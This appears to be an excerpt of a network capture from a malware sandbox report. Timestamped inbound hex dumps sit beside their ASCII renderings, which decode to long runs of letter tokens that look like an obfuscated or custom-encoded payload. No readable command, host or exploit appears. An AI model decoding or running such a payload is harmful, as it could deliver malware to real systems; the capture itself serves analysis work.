oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk OOK OOt OxY Qx KK Y

2021-10-29 15:55:36 UTC 1764 IN Data Raw: 59 20 59 78 20 4b 6b 20 59 4b 20 59 6f 20 45 51 20 6f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 74 
78 20 59 78 20 59 4b 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 
20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20
6f 52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 
20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 
20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 6f 
52 20 6b 4b 20 6b 4b 20 4f 4f 4b 
Data Ascii: Y Yx Kk YK Yo EQ oOk OOt OxQ Ooo tQ tx Yx YK kx OOo QE OY OOo Yx Yk oK Kx kR Q Q OxQ OOo YK oR 
OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY OOt OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK 
OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY Qx KK Yx oR kK kK OOK
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2021-10-29 15:55:36 UTC 1768 IN Data Raw: 20 4f 4f 6b 20 78 20 4f 6f 45 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 4b 51 20 52 51 20 4f 4f 74 20 6b 51 20 4f 
78 52 20 51 74 20 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f 
45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f 
74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20
6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59 
20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f 
4b 20 4f 6f 74 20 6f 20 78 20 
Data Ascii:  OOk x OoE OOo Yx KQ EE KQ RQ OOt kQ OxR Qt YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR 
Qx oOY Oxk OOo YR Ox Oox oxO OtO OKO OtO QQ Qk Kk oxR ER OOK kK OOK OOx o OoE Yx Kk YR oEK kR O oEk 
Oxk OOo Yo EY Yk EQ Qo Qx Q OxQ OOo YR YY QE Ott kK OOK Oot o x 

2021-10-29 15:55:36 UTC 1773 IN Data Raw: 59 20 4f 52 20 59 4b 20 74 6b 20 6b 6f 20 51 78 20 52 6b 20 4f 4f 6b 20 59 78 20 51 20 45 78 20 4f 51 6b 20 74 
74 20 4f 4f 52 20 4f 4f 74 20 4f 74 59 20 51 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 59 74 20 4f 6f 52 20 45 78 20 52 
59 20 4f 4f 6b 20 59 78 20 4b 74 20 4f 74 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 4f 6b 51 20 4f 6f 4b 20 6b 51 20 6f 
6b 20 4f 52 20 59 4b 20 4f 51 59 20 74 74 20 51 78 20 52 6b 20 4f 78 52 20 59 78 20 4b 45 20 4f 4b 20 6b 45 20 4f 78 59 
20 4f 78 4b 20 4f 4f 74 20 4f 74 59 20 51 45 20 4f 59 78 20 6f 51 20 59 6f 20 59 4b 20 4f 78 74 20 51 4b 20 4f 45 45 20 4f 
4f 52 20 4f 78 52 20 59 78 20 6f 6f 4b 20 4b 4b 20 4f 4b 52 20 4f 6f 4f 20 4f 78 78 20 4f 4f 74 20 6f 45 51 20 6b 6b 20 4f 6b 
4f 20 51 20 6f 78 20 59 4b 20 6b 74 
Data Ascii: Y OR YK tk ko Qx Rk OOk Yx Q Ex OQk tt OOR OOt OtY Qo kQ ok Yo YK OYt OoR Ex RY OOk Yx Kt Ot QE 
Oox OOR OOt OkQ OoK kQ ok OR YK OQY tt Qx Rk OxR Yx KE OK kE OxY OxK OOt OtY QE OYx oQ Yo YK Oxt QK 
OEE OOR OxR Yx ooK KK OKR OoO Oxx OOt oEQ kk OkO Q ox YK kt

2021-10-29 15:55:36 UTC 1777 IN Data Raw: 4b 20 4f 4f 6f 20 59 78 20 6f 59 20 59 78 20 45 6f 20 6b 4b 20 4f 6b 4f 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 
4b 20 4b 6b 20 4f 51 51 20 6f 59 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 78 6f 20 59 78 20 6f 59 45 20 59 78 20 4f 
6b 45 20 6b 59 20 51 6b 20 4f 4f 74 20 45 6b 20 52 74 20 59 78 20 4b 6b 20 6f 74 20 59 4b 20 52 74 20 4f 4f 4b 20 4f 52 
59 20 4f 78 51 20 6f 4b 4f 20 59 4f 20 45 6f 20 59 78 20 59 20 4f 78 45 20 4f 4f 4b 20 4f 4f 74 20 52 6b 20 4f 4f 6f 20 45 74 
20 4b 6b 20 6f 45 4f 20 59 4b 20 6f 4f 45 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 74 6b 20 4f 20 4b 6b 20 59 78 20 45 4f 20 
6b 4b 20 4f 78 4f 20 4f 4f 74 20 4f 6b 4f 20 4f 4f 6f 20 4f 74 51 20 4b 51 20 45 4b 20 59 4b 20 4f 20 52 59 20 4f 4f 74 20 4f 
78 51 20 6b 51 20 59 78 20 45 51 
Data Ascii: K OOo Yx oY Yx Eo kK OkO OOt oER OOE EK Kk OQQ oY kK OOK Qo OxQ Oxo Yx oYE Yx OkE kY Qk OOt 
Ek Rt Yx Kk ot YK Rt OOK ORY OxQ oKO YO Eo Yx Y OxE OOK OOt Rk OOo Et Kk oEO YK oOE OOY OxO OxQ tk O 
Kk Yx EO kK OxO OOt OkO OOo OtQ KQ EK YK O RY OOt OxQ kQ Yx EQ

2021-10-29 15:55:36 UTC 1781 IN Data Raw: 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 4b 59 20 59 78 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 20 4f 4f 
45 20 6f 45 20 59 78 20 4f 51 20 59 4b 20 4f 6b 51 20 4f 4f 78 20 4f 78 6b 20 4f 78 59 20 4f 4f 6b 20 59 78 20 4f 4b 45 20 
4b 4b 20 4f 6f 6b 20 52 6b 20 4f 4f 52 20 4f 4f 74 20 6f 78 59 20 6b 6f 20 4f 45 74 20 45 6f 20 45 52 20 59 4b 20 4f 74 4b 
20 4f 78 74 20 6f 4f 4f 20 4f 78 51 20 4f 78 6f 20 59 78 20 6b 78 20 45 52 20 4f 4b 4b 20 6b 4b 20 4f 78 78 20 4f 4f 74 20 
74 45 20 6b 78 20 4f 4b 6b 20 4b 6b 20 45 52 20 59 4b 20 4b 74 20 4b 6b 20 6f 4f 4f 20 4f 78 51 20 4f 78 6f 20 59 78 20 4f 
6f 74 20 45 4f 20 6f 4b 52 20 52 6b 20 51 51 20 4f 4f 74 20 4f 4f 59 20 4f 78 51 20 6f 4b 4f 20 45 6f 20 45 59 20 59 4b 20 5
1 51 20 4f 4f 4f 20 4f 6b 6f 20 4f 
Data Ascii: o Oxk OOo Yx OKY Yx YK kK KE OOR tE OOE oE Yx OQ YK OkQ OOx Oxk OxY OOk Yx OKE KK Ook Rk 
OOR OOt oxY ko OEt Eo ER YK OtK Oxt oOO OxQ Oxo Yx kx ER OKK kK Oxx OOt tE kx OKk Kk ER YK Kt Kk oOO 
OxQ Oxo Yx Oot EO oKR Rk QQ OOt OOY OxQ oKO Eo EY YK QQ OOO Oko O

2021-10-29 15:55:36 UTC 1784 IN Data Raw: 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 52 6f 20 4b 4f 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6f 78 6b 20 
4f 78 74 20 6f 45 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59 
20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20 
4f 4f 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f 2
0 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b 
20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74
20 6f 45 78 20 4f 6f 4b 
Data Ascii:  OxQ OOE Yx ORo KO OKK kK OOY OOt oxk Oxt oEQ Eo YO YK Okk OxY oOO OxQ OOE Yx EY KR OKK 
kK OOY OOt kE Oxk Yo EE YO YK ER OOO Ox OoK OOE Yx OkR Kt OKK kK RY OOR ooo OoR Oko EE O YY Oo Qk 
oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx OOQ Okk EE O YY OtK Oot oEx OoK

2021-10-29 15:55:36 UTC 1788 IN Data Raw: 20 45 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 78 20 51 6b 20 4f 4f 6f 20 6f 45 
4f 20 74 4f 20 51 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74 
20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 
20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20 6b
4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f 78 
51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 20 4f 
4f 20 59 78 20 59 4b 20 6b 
Data Ascii:  Ex OY kK OOK OOt OxQ oKR Yx Qk OOo oEO tO QY OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx 
ko OxQ OOK OOt OxQ OOo ORK Kk OQt Q Okx Qt Rt OxQ OQo OO Kk Yx YK kK oot OOt OYK tQ oOE EY Ox YK Oo to 
OOt OxQ OOo Yx Ott Yx kt OxY OEx Oxo kt OOo OK OO Yx YK k

2021-10-29 15:55:36 UTC 1792 IN Data Raw: 45 6b 20 6f 6f 74 20 6b 4b 20 4f 45 6b 20 45 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52 4b 20 59 4b 
20 4f 4f 78 20 4f 78 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 
4f 74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 
6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 
6b 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b
74 20 4f 4f 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 
59 74 20 45 6b 20 6f 4f 6f 20 59 
Data Ascii: Ek oot kK OEk EK OxQ OOo Yx Kk ORK YK OOx Oxk OYo OoO ORk Yx Yk OxR YK kK OOK OOt oYO OOo 
OxE KR ooE EK OKE OOK OxY YE OOo Yx Kk Yx ORx kK OoQ OOY Ook Oxx oER Kk k OOx kK OOK OOt OxQ oEx Yx 
OQ E oOQ RK OKt OOt EE Kx Yx Kk Yx YK OQK OOK oKY KK OYt Ek oOo Y

2021-10-29 15:55:36 UTC 1796 IN Data Raw: 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 6f 6b 20 4f 4f 74 20 51 6b 20 74 6f 20 45 4f 20 59 4f 20 4f 6f 4f 20 59 59 
20 4f 45 6f 20 6f 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b 
20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74 
4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 
52 4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4
f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 
4f 4f 6f 20 59 78 20 4b 6b 
Data Ascii: Kk Yx YK kK ook OOt Qk to EO YO OoO YY OEo oKt OOt OxQ OOo Yx ORR Yx OKY OxK OoK QQ EE OOE 
Yx OkE Yx YK kK OOK oot OxQ OtK oK Ek ER Oox kY oKO oKo OxQ OOo Yx Kk ORK Ro oQ Oxt OxK OoE RE YO Ook 
OkO YK kK OOK OOt oYO OOo QR KO Ot Eo ot OOY OEE oEK OOo Yx Kk
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2021-10-29 15:55:36 UTC 1800 IN Data Raw: 4f 6f 59 20 4f 4f 6f 20 4f 6b 4b 20 4b 51 20 4f 45 74 20 4f 59 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 
4b 52 20 59 6b 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b 6b 
20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20 6f 
4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20 6f 4
b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f 6f 
78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 
20 59 6b 20 4f 78 20 51 59 
Data Ascii: OoY OOo OkK KQ OEt OYO kK OOK OOt OxQ oKR Yk ooR Yo oYY kK oKQ OOR OtK oxQ Yx Kk Yx YK oOx 
Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ OOo Okx YR OEY Ro ooQ Oxx oKQ Oxk ORK OKt Kk Yx YK kK 
oKK OoY oxk Oox OEt Ek OQx YY OEt oOO OOt OxQ OOo Yx Oko Yk Ox QY

2021-10-29 15:55:36 UTC 1805 IN Data Raw: 20 4f 6f 52 20 4f 78 4f 20 4f 51 6f 20 4f 78 6b 20 4b 4f 20 4f 4b 6b 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b
4b 20 4f 6f 59 20 4f 4b 78 20 4f 6f 4b 20 52 20 45 51 20 4f 45 59 20 59 59 20 59 4b 20 6f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 
4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 20 51 78 20 74 74 20 51 6b 20 6f 4f 51 20 4f 4f 45 20 6b 6b 20 4f 59 78 20 59 
78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 59 4f 20 52 78 20 4f 6f 4f 20 45 74 20 4f 6f 6b 20 6b 59 20 4f 20
6f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 4f 4f 20 4f 6f 59 20 45 45 20 4f 6f 6f 20 4f 51 51 
20 59 4f 20 74 59 20 4f 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 4f 4f 45 20 52 45 20 4f 78
6b 20 45 45 20 6f 6f 
Data Ascii:  OoR OxO OQo Oxk KO OKk Kk Yx YK kK oKK OoY OKx OoK R EQ OEY YY YK oOo OOt OxQ OOo Yx Oko 
Yk OE Qx tt Qk oOQ OOE kk OYx Yx YK kK OOK oKE OxO YO Rx OoO Et Ook kY O oOO OxQ OOo Yx Kk Okx Ro OOO 
OoY EE Ooo OQQ YO tY OKk YK kK OOK OOt oEY Oox OOE RE Oxk EE oo

2021-10-29 15:55:36 UTC 1809 IN Data Raw: 59 20 6b 59 20 4f 6b 6f 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 51 74 20 4f 
4f 74 20 4f 78 4f 20 4f 78 51 20 4f 74 45 20 59 4f 20 6f 59 45 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 
59 20 4f 6f 78 20 6f 45 20 59 74 20 6f 59 4f 20 59 4b 20 4f 45 6b 20 4f 4f 59 20 4f 52 78 20 4f 51 52 20 4f 4f 6f 20 59 78 20 
4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 51 6f 20 4f 6f 4b 20 4f 6f 59 20 4f 4f 6f 20 6f 45 52 20 4b 51 20 6f 45 52 20 4f 59 51 
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 6f 45 4b 20 59 74 20 4b 59 20 6b 4b 20 4f 74 45 20 4f 
4f 52 20 4f 45 51 20 6f 4f 74 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 59 78 20 4f 78 6f 20 59 74 
20 59 59 20 6f 45 51 20 59 
Data Ascii: Y kY Oko oox OxQ OOo Yx Kk Okx Ro Qt OOt OxO OxQ OtE YO oYE OYY YK kK OOK OOt oEY Oox oE Yt 
oYO YK OEk OOY ORx OQR OOo Yx Kk Yx OtR Qo Qo OoK OoY OOo oER KQ oER OYQ kK OOK OOt OxQ oKR Yk o
EK Yt KY kK OtE OOR OEQ oOt Yx Kk Yx YK oOx Ooo OYx Oxo Yt YY oEQ Y

2021-10-29 15:55:36 UTC 1813 IN Data Raw: 20 4f 78 51 20 4f 4f 6f 20 4f 74 74 20 4b 6b 20 6f 78 6b 20 59 59 20 4f 59 45 20 4f 4f 4b 20 6f 51 20 4f 4f 4f 20 6f
4b 78 20 4f 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4f 20 4f 4f 74 20 6f 74 20 4f 4f 59 20 4f 51 45 20 4b 78 20 
51 4f 20 59 6f 20 4f 4b 4f 20 6f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 4f 20 4b 6f 20 4f 45 6f 20 51 52 20
4f 6b 51 20 51 74 20 74 20 4f 4f 4b 20 6f 4f 59 20 4f 59 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 4f 74 
20 6f 59 4b 20 52 20 4b 51 20 59 78 20 51 6f 20 6b 52 20 4f 59 51 20 6f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 
4f 74 74 20 59 4b 20 59 51 20 4f 4f 6f 20 4f 59 6b 20 4f 6f 6f 20 6f 52 20 4b 6b 20 4f 51 6f 20 4f 59 52 20 59 4b 20 6b 4b 20 
4f 4f 4b 20 4f 4f 74 20 
Data Ascii:  OxQ OOo Ott Kk oxk YY OYE OOK oQ OOO oKx OYR Kk Yx YK kK oKO OOt ot OOY OQE Kx QO Yo OKO 
oox OOt OxQ OOo Yx ORO Ko OEo QR OkQ Qt t OOK oOY OYk Yx YK kK OOK oKE OOt oYK R KQ Yx Qo kR OYQ o
OQ OxQ OOo Yx Kk Ott YK YQ OOo OYk Ooo oR Kk OQo OYR YK kK OOK OOt 

2021-10-29 15:55:36 UTC 1816 IN Data Raw: 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 
20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 
6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 
20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 
20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 
6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 
20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 
Data Ascii: Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK 
RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE 
OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OO

2021-10-29 15:55:36 UTC 1820 IN Data Raw: 20 45 6f 20 4b 6b 20 59 4b 20 6f 45 74 20 6b 51 20 4f 78 4f 20 4f 6f 59 20 4f 4f 59 20 59 78 20 6f 4b 6f 20 6f 59 
20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 59 6f 20 51 4f 20 4f 
4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 6b 51 20 
59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 
4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 
4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 78 20 6b 51 20 59 78 20 
4b 6b 20 4b 6b 20 59 4b 20 6f 6f 
Data Ascii:  Eo Kk YK oEt kQ OxO OoY OOY Yx oKo oY YK kK OOk OOt Rk tO Yx Kk YO YK oYo QO OOt OxQ OOE Yx 
OYo ot YK kK OOY OOt OQt kQ Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK 
OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Rx kQ Yx Kk Kk YK oo

2021-10-29 15:55:36 UTC 1824 IN Data Raw: 20 59 4b 20 6b 4b 20 4f 6f 45 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 59 4b 20 4f 59 6b 
20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 4f 
20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 4f 4f 45 20 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 6f 4f 
20 4f 59 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 51 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 51 51 20 4b 
6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 74 20 4f 4f 6f 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 52 74 20 51 
78 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6f 51 20 74 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 4f 20 4f 6f 20 
59 4b 20 6b 4b 20 4f 4f 59 20 4f 
Data Ascii:  YK kK OoE OOt oKK to Yx Kk YR YK OYk kk OOt OxQ OoE Yx OoO OY Yo kK OOY OOt QO Yx Yx Kk Kk 
YK OOE tR OOt OxQ OOE Yx OoO OY YK kK OOo OOt QQ OOx Yx Kk YO YK QQ Kk OOt OxQ OOE Yx t OOo YK kK 
OOo OOt ORt Qx Yx Kk KQ YK oQ tQ OOt OxQ OOE Yx oO Oo YK kK OOY O

2021-10-29 15:55:36 UTC 1828 IN Data Raw: 6f 4f 4f 20 59 4f 20 6f 4f 52 20 6f 4f 20 4f 45 6f 20 4f 4f 6b 20 4f 59 52 20 4f 4f 78 20 4b 74 20 45 4f 20 6f 45 78 
20 59 4b 20 4f 51 51 20 6b 74 20 6f 6b 20 4f 78 52 20 4f 74 74 20 4f 4f 52 20 6f 45 78 20 4b 6b 20 4f 51 78 20 6f 51 20 4f 
4f 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6f 4f 4f 20 59 4b 20 45 51 20 6b 59 20 74 20 52 6b 20 4f 45 
59 20 4f 4f 52 20 59 4f 20 59 6f 20 52 6b 20 51 20 4f 52 74 20 4f 4f 6b 20 4f 4f 52 20 4f 78 59 20 4f 6f 4f 20 51 20 6f 78 4f 2
0 59 4b 20 52 45 20 6b 78 20 45 45 20 4f 4f 78 20 4f 4b 52 20 4f 4f 52 20 6f 45 6b 20 4b 6b 20 4f 6b 6b 20 6f 20 6b 59 20 
4f 4f 4b 20 4f 78 78 20 4f 78 59 20 4f 45 45 20 6f 4f 20 4b 78 20 59 59 20 6f 45 20 6b 78 20 6f 4f 74 20 6b 52 20 4f 78 6b 
20 4f 4f 6f 20 4f 51 20 59 6f 
Data Ascii: oOO YO oOR oO OEo OOk OYR OOx Kt EO oEx YK OQQ kt ok OxR Ott OOR oEx Kk OQx oQ OOY OOK O
OR Oxk oYK R oOO YK EQ kY t Rk OEY OOR YO Yo Rk Q ORt OOk OOR OxY OoO Q oxO YK RE kx EE OOx OKR 
OOR oEk Kk Okk o kY OOK Oxx OxY OEE oO Kx YY oE kx oOt kR Oxk OOo OQ Yo
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2021-10-29 15:55:36 UTC 1832 IN Data Raw: 20 6f 59 4b 20 52 20 6b 45 20 52 45 20 4f 78 45 20 6b 74 20 6f 59 4b 20 74 78 20 74 20 4f 6f 59 20 51 51 20 
59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 45 52 20 4f 78 4b 20 6f 4b 6f 20 6f 4f 20 52 6b 20 52 45 20 4f 78 45 20 6b 
